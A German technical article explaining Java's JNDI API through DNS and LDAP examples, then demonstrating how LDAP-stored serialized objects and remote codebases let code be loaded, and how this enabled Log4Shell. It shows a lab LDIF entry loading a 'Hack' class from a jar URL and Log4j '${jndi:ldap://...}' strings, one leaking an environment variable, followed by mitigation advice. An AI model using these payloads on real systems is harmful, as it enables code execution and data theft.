This article is also available in English

Ich hätte nie gedacht, einmal einen Artikel über das Java Naming and Directory Interface (JNDI) zu schreiben. Lange kannte ich JNDI nur als Mechanismus, um in einem Anwendungsserver wie Apache Tomcat an eine Datenbankverbindung zu kommen. Doch dann rollte im Dezember 2021 die Sicherheitslücke Log4Shell über uns und JNDI war plötzlich wieder in aller Munde. Zeit also, uns einmal damit zu beschäftigen, wofür JNDI eigentlich gedacht ist und welche Rolle es in der Sicherheitslücke gespielt hat.

Wie so häufig in Java handelt es sich bei JNDI um eine Abstraktion über verschiedenen konkreten Technologien. In diesem Fall abstrahiert die Programmierschnittstelle den Zugriff auf Namens- und Verzeichnisdienste. Die beiden hierfür wohl bekanntesten Vertreter sind das Domain Name System (DNS) und Lightweight Directory Access Protocol (LDAP).

Damit auch weitere Technologien über die Abstraktion von JNDI angebunden werden können, besteht JNDI aus zwei Teilen. Das Application Programming Interface (API) ist dabei der Teil, den wir innerhalb einer Anwendung nutzen. Zusätzlich bietet das Service Provider Interface (SPI) die genannte Möglichkeit, weitere Implementierungen für JNDI zur Verfügung zu stellen.

In diesem Artikel wollen wir uns aber ausschließlich mit der API-Seite beschäftigen. Dazu werden wir uns nach einer kurzen Einführung in die generellen Konzepte von JNDI einige Beispiele mit DNS und LDAP anschauen. Anschließend bewegen wir uns dann noch einmal Richtung Log4Shell und lernen, welche Funktionalität von JNDI hier ausgenutzt wurde.

Konzepte von JNDI

Die Kernidee von Namensdiensten besteht darin, ein Objekt unter einem Namen abzulegen. Beispielsweise hinterlegen wir in einem DNS-Server die IP-Adresse zu einem Domainnamen. In JNDI wird dies mit den beiden Interfaces javax.naming.Binding und javax.naming.Name abgebildet.

Zudem benötigen wir einen Kontext (javax.naming.Context), der eine Klammer über mehrere Bindings darstellt. Ein Kontext kann dabei auch weitere Subkontexte enthalten, sollte der Dienst hierarchisch aufgebaut sein.

Zusätzlich dazu gibt es mit javax.naming.directory noch ein zweites Paket, das für Verzeichnisdienste gedacht ist. Verzeichnisdienste erweitern Namensdienste um Attribute (javax.naming.directory.Attribute), die an Objekte gebunden werden können. Um mit diesen zu arbeiten, brauchen wir jedoch einen speziellen Kontext (javax.naming.directory.DirContext). Dieser Kontext ermöglicht es uns, auch eine Suche nach Objekten mit bestimmten Attributwerten durchzuführen.

DNS

Eine der standardmäßig im JDK vorhandenen JNDI-Implementierungen ist DNS. Der Hauptanwendungsfall von DNS besteht darin, eine Zuordnung von Domainnamen zu IP-Adressen zu speichern, sogenannte A-Records. Neben diesen gibt es jedoch noch weitere mögliche Records, die mittels DNS verwaltet werden. So verweisen MX-Records auf die für eine Domain verantwortlichen Mailserver und TXT-Records lassen uns beliebige Einträge zu einer Domain vornehmen. Diese werden beispielsweise von Let’s Encrypt verwendet, um nachzuweisen, dass mir eine Domain wirklich gehört.

Die JNDI-Implementierung hat sich dafür entschieden, die einzelnen Records als Attribute an ein Objekt zu hängen. Deshalb nutzen wir für eine DNS-Abfrage, siehe Listing 1, den DirContext in Kombination mit der Methode getAttributes.

var env = new Hashtable<>();
env.put(INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(PROVIDER_URL, "dns://8.8.8.8");

String domain = "mvitz.de";
String[] records = { "A", "TXT", "MX" };

DirContext ctx = new InitialDirContext(env);
var attributes = ctx.getAttributes(domain, records).getAll();
while(attributes.hasMore()) {
    Attribute a = attributes.next();
    System.out.println(a.getID());
    var values = a.getAll();
    while (values.hasMore()) {
        System.out.println(values.next());
    }
    System.out.println();
}
attributes.close();
Listing 1: Auslesen der A, TXT und MX Records für eine Domain mit JNDI

Dabei zeigt sich vor allem an zwei Stellen das Alter der API. Zum einen müssen wir bei der Erzeugung des InitialDirContext zwangsweise eine Hashtable zur Konfiguration nutzen. Außerdem liefert uns die Methode getAll eine NamingEnumeration<? extends Attribute> zurück. Um also über alle Attribute zu iterieren, können wir keine for-each-Schleife nutzen, und auch das Erzeugen eines Streams ist nicht ohne Umweg möglich, sondern wir nutzen eine while-Schleife in Kombination mit hasMore und next.

Davon abgesehen gibt der Code das aus, was wir erwarten würden. Wir erhalten eine Auflistung, siehe Listing 2, der A-, TXT- und MX-Records der Domain mvitz.de.

TXT
keybase-site-verification=...
"v=spf1 a mx ip4:85.31.184.0/25 ... ~all"

A
185.199.108.153

MX
10 mx10.kundencontroller.de.
20 mx20.kundencontroller.de.
Listing 2: Ergebnis der DNS-Anfrage

LDAP

Neben DNS ist auch eine Implementierung für LDAP-Abfragen Teil von JNDI. LDAP ist vor allem dafür bekannt, Benutzer und deren Passwort, sowie weiteren Eigenschaften, zu verwalten. Der wohl bekannteste Vertreter hierfür ist ActiveDirectory von Microsoft.

Eigentlich ist LDAP jedoch eine generische Datenbank inklusive Abfragesprache, in der wir Objekte und Attribute in einem Baum ablegen und abfragen können. LDAP setzt dabei, wie auch SQL-Datenbanken, auf Schemas, die Objekte und deren Attribute beschreiben. Wir können dort also nicht beliebige Dinge ablegen, sondern brauchen vorab eine genau Beschreibung der Struktur.

Für die folgenden Beispiele nutzen wir OpenLDAP, den wir per Docker, siehe Listing 3, starten. Anschließend ist der LDAP-Server lokal auf localhost unter den Ports 389 und 689 erreichbar und wir können diesen per JNDI abfragen. Hierzu erzeugen wir analog zur vorherigen DNS-Abfrage einen InitialDirContext mit passendem Environment, wie in Listing 4 zu sehen.

docker run \
    --rm \
    -p 389:389 \
    -p 636:636 \
    --env LDAP_ORGANISATION="mvitz.de" \
    --env LDAP_DOMAIN="mvitz.de" \
    --env LDAP_BASE_DN="dc=mvitz,dc=de" \
    --volume ... \
    osixia/openldap:1.5.0 \
    --copy-service
Listing 3: Starten von OpenLDAP mit Docker
var env = new Hashtable<>();
env.put(INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(PROVIDER_URL, "ldap://localhost:389/dc=mvitz,dc=de");
env.put(SECURITY_PRINCIPAL, "cn=admin,dc=mvitz,dc=de");
env.put(SECURITY_CREDENTIALS, "admin");

var ctx = new InitialDirContext(env);

var people = ctx.listBindings("ou=People");
while (people.hasMore()) {
    Binding person = people.next();
    var attributes = ctx.getAttributes(person.getName() + ",ou=People");
    var cn = attributes.get("cn");
    System.out.println(cn.get());
}
Listing 4: Ausgabe des Attributs cn für jedes Objekt unterhalb von People

Mittels listBindings erhalten wir, auch wieder analog zu getAttributes aus dem DNS-Beispiel, eine NamingEnumeration. Dieses Mal enthält diese jedoch Bindings. Wir nutzen nun den Namen dieser Bindings, um uns über getAttributes die Attribute zum Eintrag zu holen und anschließend das Attribut cn auszugeben. In diesem Fall hätten wir anstatt listBindings auch list nutzen können, da wir das zurückgegebene Objekt nicht nutzen, sondern nur den Namen für das Abrufen der Attribute verwenden.

Neben dem Auflisten können wir mit JNDI auch eine Suche, wie in Listing 5 zu sehen, ausführen. In diesem Falle suchen wir unterhalb von ou=People nach allen Objekten, bei denen das Attribut ou auf Jedi gesetzt ist. Außerdem soll das Ergebnis der Suche neben dem Namen auch das Attribut cn enthalten, welches wir anschließend ausgeben. Außerdem stellt uns das JNDI API natürlich auch Methoden zur Verfügung, um Objekte und Attribute zu modifizieren. In Listing 6 ändern wir dazu das Attribut cn des Objekts mit dem Namen uid=leia,ou=People.

var searchControls = new SearchControls();
searchControls.setSearchScope(SUBTREE_SCOPE);
searchControls.setReturningAttributes(new String[] { "cn" });

var result = ctx.search("ou=People", "ou=Jedi", searchControls);
while (result.hasMore()) {
    var next = result.next();
    System.out.println(next.getAttributes().get("cn").get());
}
Listing 5: LDAP-Suche mit JNDI
var newAttribute = new BasicAttribute("cn", "Leia Skywalker");

var modification = new ModificationItem(REPLACE_ATTRIBUTE, newAttribute);
ModificationItem[] modifications = { modification };

ctx.modifyAttributes("uid=leia,ou=People", modifications);

var modifiedAttribute = ctx.getAttributes("uid=leia,ou=People").get("cn");
System.out.println(modifiedAttribute.get());
Listing 6: Ändern eines LDAP-Attributs mit JNDI

Da LDAP der wohl prominenteste Vertreter für JNDI ist, hätten wir für diese Abfragen auch die Interfaces aus dem dedizierten Paket javax.naming.ldap nutzen können. Diese bilden zusätzliche spezielle LDAP-Konzepte ab, die über die generischere JNDI API nicht genutzt werden können. Diese werden allerdings für die hier gezeigten Beispiele nicht benötigt.

Code aus LDAP laden

Bisher haben wir gesehen, wie mit JNDI DNS- und LDAP-Abfragen beziehungsweise Modifikationen aussehen. Doch was hiervon ist Teil einer so verheerenden Sicherheitslücke?

Bisher haben wir zwar mittels listBindings Bindings vom Server abgefragt, welche einen Namen mit einem Objekt verknüpfen, haben allerdings das Objekt nicht verwendet. Und genau in dieser Verwendung besteht das Problem. JNDI bietet uns nämlich die Möglichkeit, serialisierte Java-Objekte abzufragen und anschließend auch zu nutzen.

Dazu legen wir im LDAP-Server einige Objekte, siehe Listing 7, ab. Durch die Angabe von objectclass weiß der LDAP-Server, welchem Schema die Objekte folgen und welche Attribute möglich sind. Zudem setzen wir die beiden Attribute javaclassname und javaSerializedData.

dn: ou=Objects,{{ LDAP_BASE_DN }}
objectClass: top
objectClass: organizationalUnit
ou: Objects

dn: cn=Map,ou=Objects,{{ LDAP_BASE_DN }}
objectclass: top
objectclass: javaObject
objectclass: javaSerializedObject
objectclass: javaContainer
javaclassname: java.util.HashMap
javaSerializedData:: ...

dn: cn=Integer,ou=Objects,{{ LDAP_BASE_DN }}
objectclass: top
objectclass: javaObject
objectclass: javaSerializedObject
objectclass: javaContainer
javaclassname: java.lang.Integer
javaSerializedData:: ...

dn: cn=Person,ou=Objects,{{ LDAP_BASE_DN }}
objectclass: top
objectclass: javaObject
objectclass: javaSerializedObject
objectclass: javaContainer
javaclassname: de.mvitz.jndi.Person
javaSerializedData:: ...
Listing 7: LDIF-Einträge für serialisierte Java-Objekte im LDAP

Diese Einträge können wir nun wie bereits gesehen mit JNDI abfragen, siehe Listing 8. Sobald wir jetzt jedoch das gebundene Objekt nutzen, wird der im LDAP abgelegte serialisierte Objektzustand geladen. Der direkte lookup dient hier nur dazu, das Objekt direkt casten zu können. Wir hätten alternativ während der Iteration über alle Bindings mit getObject Zugriff auf das Objekt erhalten können. Die Ausgabe, siehe Listing 9, zeigt, dass wir dabei sowohl Objekte aus dem JDK selbst, HashMap, als auch eigene Klassen, Person, ablegen und abrufen können, solange diese Klasse das Interface java.io.Serializable implementiert.

System.out.println("Listing all objects");
var objects = ctx.listBindings("ou=Objects");
while (objects.hasMore()) {
    Binding object = objects.next();
    System.out.println(" " + object.getName() + ": " + object.getClassName());
}
System.out.println();

System.out.println("HashMap");
var map = (Map) ctx.lookup("cn=Map,ou=Objects");
map.forEach((key, value) ->
    System.out.println(" " + key + ": " + value));
System.out.println();

System.out.println("Person");
var person = (Person) ctx.lookup("cn=Person,ou=Objects");
System.out.println(person);
System.out.println(person);
System.out.println();
Listing 8: Serialisierte Java-Objekte mit JNDI aus LDAP laden
Listing all objects
 cn=Map: java.util.HashMap
 cn=Person: de.mvitz.jndi.Person
 cn=Integer: java.lang.Integer

HashMap
 name: Michael Vitz
 organziation: innoQ Deutschland GmbH

Person
Person Michael Vitz @ 1644219043697
Person Michael Vitz @ 1644219043701
Listing 9: Ausgabe der serialisierten Java-Objekte aus dem LDAP

Somit ist es also möglich, Code innerhalb einer Anwendung nachzuladen. Aber natürlich ermöglicht es das nicht nur uns, sondern potenziell auch Angreifenden. Bislang beschränkt sich diese Möglichkeit auf Klassen, die unsere Anwendung kennt. Der Angreifende müsste also eine Kombination von vorhandenen Klassen finden, die durch weitere Schwachstellen ausnutzbar sind.

JNDI ermöglicht es uns allerdings auch, der Anwendung unbekannte Klasse dynamisch nachzuladen. Hierzu setzen wir im LDAP neben den beiden Attributen javaclassname und javaSerializedData zusätzlich das Attribut javaCodebase. Beim Eintrag aus Listing 10 setzen wir diesen Wert auf eine URL, unter der eine jar-Datei über HTTP erreichbar ist. JNDI lädt nun beim Lookup, siehe Listing 11 nicht nur das Objekt, sondern auch die bisher unbekannte Klasse de.mvitz.jndi.remote.Hack dynamisch nach. Die beiden Aufrufe von System.out.println mit dem geladenen Objekt führen anschließend die toString-Methode auf der Instanz aus. Somit ist es also möglich, beliebigen Code nachzuladen, solange die Anwendung den unter javaCodebase angegebenen Ort erreichen kann.

dn: cn=Hack,ou=Objects,{{ LDAP_BASE_DN }}
objectclass: top
objectclass: javaObject
objectclass: javaSerializedObject
objectclass: javaContainer
javaclassname: de.mvitz.jndi.remote.Hack
javaSerializedData:: ...
javaCodebase: http://localhost:8000/remote/build/hack.jar
Listing 10: LDIF mit serialisiertem Java-Objekt einer unbekannten Klasse
System.out.println("Hack");
var hack = ctx.lookup("cn=Hack,ou=Objects");
System.out.println(hack);
System.out.println(hack);
Listing 11: Ausführen von fremdem Code mittels JNDI

Dieses dynamische Nachladen von Klassen mit JNDI funktioniert allerdings, zum Glück, in neueren Versionen des JDKs nicht mehr automatisch. Sollten wir diese Funktionalität benötigen, müssen wir explizit beim Starten der Anwendung das Java-System-Property com.sun.jndi.ldap.object.trustURLCodebase auf true setzen.

Log4Shell

Wie hängt nun JNDI mit Log4Shell zusammen. Im Grunde ist es hier wie bei vielen Sicherheitslücken eine Kombination aus mehreren Faktoren, die kombiniert zum Problem werden.

Log4j erlaubt es innerhalb von Lognachrichten, mittels der Syntax ${...} Parameter in die Nachricht einzubinden. Die Parameter können dabei aus unterschiedlichen Quellen geladen werden. Eine Möglichkeit hierbei ist es auch, mittels ${jndi:...} einen JNDI-Lookup auszuführen.

Schafft es der Angreifende nun, dass wir einen solchen String loggen, beispielsweise indem er einen passenden HTTP-Header oder Query-Parameter mitsendet, ist es, wie gesehen, in Kombination mit JNDI möglich, Code nachzuladen. Ist das dynamische Nachladen von Klassen aktiviert, kann nun beliebiger Code ausgeführt werden. Sollte dies, wie standardmäßig, deaktiviert sein, kann noch versucht werden, bereits in der Anwendung vorhandene Klassen auszunutzen. Schematisch sehen die Aufrufe dann aus wie in Listing 12 und führen zur Ausgabe aus Listing 13.

logger.error("${jndi:ldap://localhost:389/cn=Person,ou=Objects,dc=mvitz,dc=de}");
logger.error("${jndi:ldap://localhost:389/${env:HOME}}");
Listing 12: Log4J Logging mit JNDI Parameter Lookups
18:07:... ERROR ...Log4Shell - Person Michael Vitz @ 1644340023509
18:07:... ERROR ...Log4Shell - ${jndi:ldap://localhost:389/${env:HOME}}
Listing 13: Erzeugte Logausgaben

Wir können hier sehen, dass der erste Lookup erfolgreich ausgeführt wurde und wir als Ausgabe den Wert der toString-Methode unserer Instanz aus dem LDAP erhalten.

Sollte die Deserialisierung, aus dem ersten Logstatement, keinen Angriff erlauben, können wir in Verbindung mit einem Lookup für Umgebungsvariablen noch versuchen, Werte abzugreifen. Listing 14 zeigt das Log des LDAP-Servers für das zweite Logstatement, in dem wir den konkreten Wert der Umgebungsvariable HOME vom Server ablesen können.

6202a337 conn=1002 op=1 do_search: invalid dn: "/Users/mvitz"
Listing 14: LDAP Log

Um uns gegen diese konkrete Lücke abzusichern, sollte auf jeden Fall Log4j auf mindestens Version 2.17.1 upgedatet werden. Zudem ist es ratsam, ein aktuelles JDK zu verwenden. Zusätzlich kann es sinnvoll sein, den ausgehenden Netzwerkverkehr einzuschränken und so nur noch Verbindungen zu bekannten Zielen zu erlauben.

Wer dann noch weiter gehen möchte, kann zudem mittels Java Security Manager noch weiter einschränken, welcher Code das JNDI API überhaupt aufrufen darf. Der Security Manager wurde jedoch in JDK 17 mit JEP 411 deprecated und zur Entfernung markiert. Es ist also fraglich, ob diese Option noch lange verfügbar ist.

Fazit

In diesem Artikel haben wir uns mit dem Java Naming and Directory Interface beschäftigt. Dieses ist dafür da, mit Namen- und Verzeichnisdiensten, wie DNS oder LDAP, zu interagieren, ohne von einer spezifischen Implementierung abzuhängen.

Hierzu lässt uns JNDI Bindings, eine Zuordnung eines Objekts zu einem Namen, und Attribute, Eigenschaften eines Objekts, abfragen, anlegen und ändern. Das haben wir uns mit Beispielen für DNS und LDAP angeschaut.

Zusätzlich haben wir die Möglichkeit kennengelernt, mit JNDI serialisierte Java-Objekte zu laden. Neben Objekten zu bereits bekannten Klassen haben wir auch gesehen, dass es möglich ist, unbekannte Klassen dynamisch nachzuladen. Zuletzt haben wir uns noch einmal kurz angesehen, wie dies zur Sicherheitslücke Log4Shell führte.

Der komplette, ausführbare Beispielcode aus diesem Artikel ist unter https://github.com/mvitz/javaspektrum-jndi zu finden.